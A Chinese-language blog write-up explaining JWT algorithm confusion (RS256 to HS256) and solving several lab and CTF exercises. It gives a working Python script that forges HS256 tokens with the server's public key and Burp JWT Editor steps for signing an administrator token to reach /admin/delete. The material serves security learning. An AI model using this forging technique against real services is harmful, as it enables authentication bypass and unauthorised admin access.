算法混淆攻击利用了未正确验证令牌头部中指定算法的JWT实现。最常见的变体是从非对称算法(如RS256)切换到对称算法(如HS256)
. 正常情况(RS256)
- 服务器用私钥签发JWT(数字签名,非对称加密)
- 服务器用公钥验证JWT
- 公钥是公开的,但无法用公钥伪造签名
2. 攻击者做了什么
攻击者在JWT头部将算法从RS256篡改为HS256:
// 原头部
{"alg":"RS256","typ":"JWT"}// 被篡改为
{"alg":"HS256","typ":"JWT"}
3. 漏洞如何发生
某些JWT库存在缺陷:当看到HS256时,会直接用公钥作为HMAC密钥来验证签名。
4. 为什么能伪造
- HMAC需要双方共享同一个密钥
- 如果服务器真的用公钥作为HMAC密钥来验证
- 那么攻击者只需:用公钥作为HMAC密钥,自己生成JWT
- 服务器验证时会用同样的公钥计算HMAC,结果匹配,通过验证
如何利用它
-
获取使用RS256签名的JWT
-
提取或查找公钥 (后面可以利用两个jwt来推出公钥)
通常可在: /.well-known/jwks.json /jwks.json /auth/keys /oauth2/certs /openid/connect/certs
-
将头部中的算法从RS256更改为HS256
-
使用HS256和公钥作为密钥签署令牌
-
将修改后的令牌发送到服务器
// 原始头部
{"alg": "RS256","typ": "JWT"
}// 修改后的头部
{"alg": "HS256","typ": "JWT"
}// 创建攻击令牌的Python示例(不能直接用)
import jwt# 从服务器提取的公钥public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""# 创建恶意令牌payload = {"sub": "admin", "role": "administrator"}
malicious_token = jwt.encode(payload, public_key, algorithm="HS256")
实战一:https://portswigger.net/web-security/jwt/algorithm-confusion/lab-jwt-authentication-bypass-via-algorithm-confusion
(1)访问https://0ac900c103115b538221927200f600d8.web-security-academy.net/jwks.json

发现有公钥:
{"keys":
[{
"kty":"RSA",
"e":"AQAB",
"use":"sig",
"kid":"2e5414db-b816-439e-9537-ffac388c8e71",
"alg":"RS256",
"n":"yo6bwr2gYT80mclHFw3SZKk8pjj9-BHeEnZPxcut7JiKi0_kaZInxUHM2HyD5SmDV8Pkcv05fvmrr2igm8LubabtIPGqs_UNN-6qEHzNtDu1iIAScpauI31lwGulExv8s-Y0tRI3R7i6XmdIS5PVSzGleKFEOoWHzoUsnilrguMXb_0NKhGKz1bBpM3q0d2t4d5rDfa8CCsXIOQ1MCxFinT7882L1PeeXanNw8DkErRGNbZmIYvjBqnz3dXk1Npx448uLOHn8z7zc779fYOqjXLK0UYh0RsnxOgJXyHdtzJ8NV5ywD1Yl3pAPssW8ogtOn6QxvDfrszqSHW-AKxl6Q"
}]
}
你提供的是一个JWKS(JSON Web Key Set)格式的公钥信息。真正的公钥由这两个核心参数构成:
公钥组成
- 模数 (n): 那个很长的Base64URL字符串
- 指数 (e): 通常是
AQAB(Base64URL表示的65537)
其它:
- kty: "RSA" → 密钥类型是RSA
- use: "sig" → 用于签名验证
- kid: 密钥ID(用于标识多个密钥中的哪一个)
- alg: "RS256" → 应使用RS256算法验证
(2)进入到bp的JWT Editor,Click New RSA Key(点击新 RSA 密钥),从刚才的公钥复制 JWK 数组,确保不要不小心复制周围数组的字符,再点击确定生成
{
"kty":"RSA",
"e":"AQAB",
"use":"sig",
"kid":"2e5414db-b816-439e-9537-ffac388c8e71",
"alg":"RS256",
"n":"yo6bwr2gYT80mclHFw3SZKk8pjj9-BHeEnZPxcut7JiKi0_kaZInxUHM2HyD5SmDV8Pkcv05fvmrr2igm8LubabtIPGqs_UNN-6qEHzNtDu1iIAScpauI31lwGulExv8s-Y0tRI3R7i6XmdIS5PVSzGleKFEOoWHzoUsnilrguMXb_0NKhGKz1bBpM3q0d2t4d5rDfa8CCsXIOQ1MCxFinT7882L1PeeXanNw8DkErRGNbZmIYvjBqnz3dXk1Npx448uLOHn8z7zc779fYOqjXLK0UYh0RsnxOgJXyHdtzJ8NV5ywD1Yl3pAPssW8ogtOn6QxvDfrszqSHW-AKxl6Q"
}

(3)右键点击你刚创建的密钥的条目,然后选择“复制公钥”作为 PEM(Copy Public Key as PEM.)

使用编码器标签对该 PEM 密钥进行 Base64 编码再复制
(4)回到 JWT Editor的插件页面,Click New Symmetric Key(点击新的对称键),点击"生成"以生成一个 JWK 格式的新密钥(click Generate to generate a new key in JWK format),请注意,你不需要选择密钥大小,因为这会自动更新,用你刚创建的 Base64 编码的 PEM 替换 k 属性的生成值,再保存

(5)在抓到的包里面把路径改为/admin/delete?username=carlos
注:用bp自带的JWT Editor修改sub和HS256是不行的,要修改这些要用json
web Tokens来修改
把sub里的改为administrator,,再点击底部的sign,选择刚刚生成的,确认勾选Don't modify header,再点击确认即可发包

实战二:直接给了公钥pem文件
问题
成功修改了JWT,但不显示flag信息,原因就是pem文件的格式被破坏了,我们直接复制的换行符为CRLF(\n\r)是windows下的,而脚本程序可能期待一个LF(\n),即Linux下的
解决办法
【1】不要直接复制网页的publickey.pem的内容,使用页面另存为保存文件

【2】可以直接复制,vscode中在右下角改CRLF为LF

用jwt网站解密公钥,我看了是对的,但是不能直接复制,直接复制是错的,要vscode改一下

【1】保存为1.pem,或直接复制丢到vscode里面改一下,
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3xhDRVsiEpt+ebgK9Tf8
MioKK2/GcUxIVN9jg9haCk50IcJygAzeQfrRM59ghavkLv4ApjzoZPJPpi1IXTiv
1vuCJn/ld60nNijNdbuXUCYkbteOG5vuKjg+9jPOyW8Xb28ewzRjKg5fWJj8VnNx
jEQt288DA3Cr5ts1uOMFy7nZCTlhH4iOWxZD3R+jmlV11sFTfSLo3IgmouumGH1v
mnXPVtxAL8l121o2KbwRp2q9wKhhlAQlkS8P4k1dOs6m0jJOtoc9i6mxxKccHc4h
5Re06U4TI7zu2Q14DSuL4defS0/O9ypfnbKhYif/ZQ1P174wdYY7tlZnZLGoUe7Z
QQIDAQAB
-----END PUBLIC KEY-----
【2】脚本加密:
注意这里脚本实际使用时要把中文注释全部删掉,不然他会报错
# coding=GBK
import hmac
import hashlib
import base64file = open('publickey.pem') # 需要将文中的publickey下载 与脚本同目录
key = file.read()# Paste your header and payload here,修改头部以及paylaod
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")print(token + "." + sig)
脚本源码分析:
# coding=GBK
# 指定文件编码为GBK,确保中文字符正常显示import hmac # 导入HMAC模块,用于生成基于哈希的消息认证码
import hashlib # 导入哈希库,提供SHA256等哈希算法
import base64 # 导入Base64编码模块,用于二进制数据与文本的转换# 读取公钥文件
file = open('publickey.pem') # 打开公钥文件,该文件从目标网站下载,与脚本在同一目录
key = file.read() # 读取公钥的全部内容,作为后续HMAC签名的密钥
file.close() # 关闭文件(建议添加这行以确保资源释放)# 构造JWT的头部(Header)和载荷(Payload)
header = '{"typ": "JWT", "alg": "HS256"}' # JWT头部:声明令牌类型为JWT,使用HS256算法(对称加密)
payload = '{"username": "admin", "role": "admin"}' # JWT载荷:包含用户名和角色信息,都设置为admin以获得管理员权限# ==================== 编码头部 ====================
# 对头部进行Base64Url编码(JWT标准要求)
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
# 步骤分解:
# 1. header.encode("utf-8") - 将JSON字符串转换为UTF-8编码的字节序列
# 2. base64.urlsafe_b64encode() - 进行URL安全的Base64编码(将+/转换为-_)
# 3. 得到的是字节类型的Base64编码结果encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# 步骤分解:
# 1. str(encodeHBytes, "utf-8") - 将字节类型的Base64结果转换为UTF-8字符串
# 2. .rstrip("=") - 移除Base64编码末尾的填充字符'='(JWT标准要求无填充)# ==================== 编码载荷 ====================
# 对载荷进行同样的Base64Url编码处理
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
# 1. payload.encode("utf-8") - 将载荷JSON字符串转为UTF-8字节序列
# 2. base64.urlsafe_b64encode() - URL安全的Base64编码encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# 1. 转换为字符串 2. 移除填充字符'='# ==================== 构造待签名数据 ====================
# 拼接编码后的头部和载荷,形成JWT的前两部分(这是将要被签名的数据)
token = (encodeHeader + "." + encodePayload)
# 格式:base64url(header) + "." + base64url(payload)
# 例如:"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0"# ==================== 生成HMAC签名 ====================
# 这是攻击的核心部分:使用公钥作为HMAC的对称密钥来生成签名
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), # 密钥:使用公钥内容作为HMAC的对称密钥token.encode("utf-8"), # 消息:待签名的数据(header.payload)hashlib.sha256 # 算法:使用SHA256哈希函数).digest() # 获取二进制的HMAC摘要结果(32字节)
).decode("UTF-8").rstrip("=") # 对签名进行Base64Url编码并移除填充# 详细步骤解析:
# 1. hmac.new() 创建HMAC对象:
# - bytes(key, "UTF-8"): 将公钥字符串转换为字节序列作为HMAC密钥
# - token.encode("utf-8"): 将待签名数据转换为字节序列
# - hashlib.sha256: 指定使用SHA256算法
#
# 2. .digest(): 生成二进制的HMAC签名结果(32字节的字节序列)
# 例如:b'\x1a\x2b\x3c\x4d...'(共32个字节)
#
# 3. base64.urlsafe_b64encode(): 对二进制签名进行URL安全的Base64编码
# 将二进制数据转换为可打印的ASCII字符,同时将+/转换为-_
#
# 4. .decode("UTF-8"): 将Base64编码的字节序列转换为字符串
#
# 5. .rstrip("="): 移除Base64编码的填充字符'='(符合JWT标准)# ==================== 输出完整JWT ====================
# 拼接完整的JWT令牌:头部.载荷.签名
print(token + "." + sig)
# 最终格式:base64url(header) + "." + base64url(payload) + "." + base64url(signature)
# 示例输出:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.xxxxxxxxxxxxxxxx# ==================== 攻击原理总结 ====================
# 这个伪造的JWT能够通过服务器验证的原因是:
# 1. 服务器代码存在算法混淆安全风险,信任JWT头部声明的算法
# 2. 我们将算法从RS256(非对称)改为HS256(对称)
# 3. 服务器验证时会用公钥作为HMAC密钥重新计算签名
# 4. 由于我们也是用公钥作为HMAC密钥签名的,所以验证通过
# 5. 载荷中的role字段让服务器认为这是管理员,从而获取FLAG
实战三:公钥推导
通过 2 个合法 RS256 JWT,利用 RSA 数学特性计算出公钥n(模数)
工具:jwt_forgery.py
# 传入两个合法的 RS256 JWT
python3jwt_forgery.pyeyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
首先还是登录,然后获取JWT数据包

然后退出登录,再次登录,获取第二个JWT数据包,然后使用工具jwt_forgery.py,稍等一会儿就可以获得一个pem

将文件打开,发现是一个公钥

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627423